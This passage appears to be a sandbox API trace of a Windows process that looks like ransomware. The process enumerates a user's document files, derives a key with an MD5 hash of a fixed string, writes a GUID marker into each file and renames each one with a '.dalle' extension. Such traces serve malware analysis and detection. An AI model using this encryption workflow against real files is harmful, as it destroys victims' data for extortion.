ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.576] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x16ee0, lpOverlapped=0x0) returned 1 [0122.577] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.577] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.577] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.577] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.578] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.578] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.578] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.578] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.578] GetLastError () returned 0x0 [0122.578] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.578] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.578] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.579] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16ee0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.579] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.579] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.579] CloseHandle (hObject=0x618) returned 1 [0122.580] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\QPk6.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\qpk6.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\QPk6.doc.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\qpk6.doc.dalle")) returned 1 [0122.580] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.580] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289a0250, ftCreationTime.dwHighDateTime=0x1d4c559, ftLastAccessTime.dwLowDateTime=0xe5851c40, ftLastAccessTime.dwHighDateTime=0x1d4cdf3, ftLastWriteTime.dwLowDateTime=0xe5851c40, ftLastWriteTime.dwHighDateTime=0x1d4cdf3, nFileSizeHigh=0x0, nFileSizeLow=0x13959, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RB_VbiG YqKM.csv", cAlternateFileName="RB_VBI~1.CSV")) returned 1 [0122.581] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\RB_VbiG YqKM.csv") returned=".csv" [0122.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\RB_VbiG YqKM.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\rb_vbig yqkm.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.582] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=80217) returned 1 [0122.582] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.583] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13933, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.583] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.587] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x13959, lpOverlapped=0x0) returned 1 [0122.587] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.587] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.587] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.587] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.588] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.588] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.588] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.588] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.588] GetLastError () returned 0x0 [0122.588] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.588] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.588] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.589] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13959, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.589] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.589] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.589] CloseHandle (hObject=0x618) returned 1 [0122.590] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\RB_VbiG YqKM.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\rb_vbig yqkm.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\RB_VbiG YqKM.csv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\rb_vbig yqkm.csv.dalle")) returned 1 [0122.591] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.591] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.592] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.592] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eed78e0, ftCreationTime.dwHighDateTime=0x1d4cbfe, ftLastAccessTime.dwLowDateTime=0xbd5cded0, ftLastAccessTime.dwHighDateTime=0x1d4d4e0, ftLastWriteTime.dwLowDateTime=0xbd5cded0, ftLastWriteTime.dwHighDateTime=0x1d4d4e0, nFileSizeHigh=0x0, nFileSizeLow=0xfddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZAwkWcabdoc-gK4i7YW.rtf", cAlternateFileName="ZAWKWC~1.RTF")) returned 1 [0122.592] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\ZAwkWcabdoc-gK4i7YW.rtf") returned=".rtf" [0122.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\ZAwkWcabdoc-gK4i7YW.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\zawkwcabdoc-gk4i7yw.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.592] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=64991) returned 1 [0122.592] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.593] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfdb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.593] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.595] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xfddf, lpOverlapped=0x0) returned 1 [0122.596] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.596] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.596] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.596] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.597] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.597] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.597] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.597] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.597] GetLastError () returned 0x0 [0122.597] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.597] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.597] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.598] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfddf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.598] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.598] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.598] CloseHandle (hObject=0x618) returned 1 [0122.599] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\ZAwkWcabdoc-gK4i7YW.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\zawkwcabdoc-gk4i7yw.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\ZAwkWcabdoc-gK4i7YW.rtf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\zawkwcabdoc-gk4i7yw.rtf.dalle")) returned 1 [0122.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.600] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.601] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71be6f10, ftCreationTime.dwHighDateTime=0x1d4d2bb, ftLastAccessTime.dwLowDateTime=0x6ab50a40, ftLastAccessTime.dwHighDateTime=0x1d4c9ff, ftLastWriteTime.dwLowDateTime=0x6ab50a40, ftLastWriteTime.dwHighDateTime=0x1d4c9ff, nFileSizeHigh=0x0, nFileSizeLow=0x16b28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zj1qqssvFW_0nIQh.ots", cAlternateFileName="ZJ1QQS~1.OTS")) returned 1 [0122.601] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\Zj1qqssvFW_0nIQh.ots") returned=".ots" [0122.601] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\Zj1qqssvFW_0nIQh.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\zj1qqssvfw_0niqh.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.601] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=92968) returned 1 [0122.601] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.602] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16b02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.602] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.604] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x16b28, lpOverlapped=0x0) returned 1 [0122.605] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.605] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.605] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.605] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.606] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.606] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.606] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.606] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.606] GetLastError () returned 0x0 [0122.606] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.606] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.607] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16b28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.607] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.607] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.607] CloseHandle (hObject=0x618) returned 1 [0122.608] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\Zj1qqssvFW_0nIQh.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\zj1qqssvfw_0niqh.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\Zj1qqssvFW_0nIQh.ots.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\zj1qqssvfw_0niqh.ots.dalle")) returned 1 [0122.609] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.609] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.610] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71be6f10, ftCreationTime.dwHighDateTime=0x1d4d2bb, ftLastAccessTime.dwLowDateTime=0x6ab50a40, ftLastAccessTime.dwHighDateTime=0x1d4c9ff, ftLastWriteTime.dwLowDateTime=0x6ab50a40, ftLastWriteTime.dwHighDateTime=0x1d4c9ff, nFileSizeHigh=0x0, nFileSizeLow=0x16b28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zj1qqssvFW_0nIQh.ots", cAlternateFileName="ZJ1QQS~1.OTS")) returned 0 [0122.610] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.610] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac688 [0122.610] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.610] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0122.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, 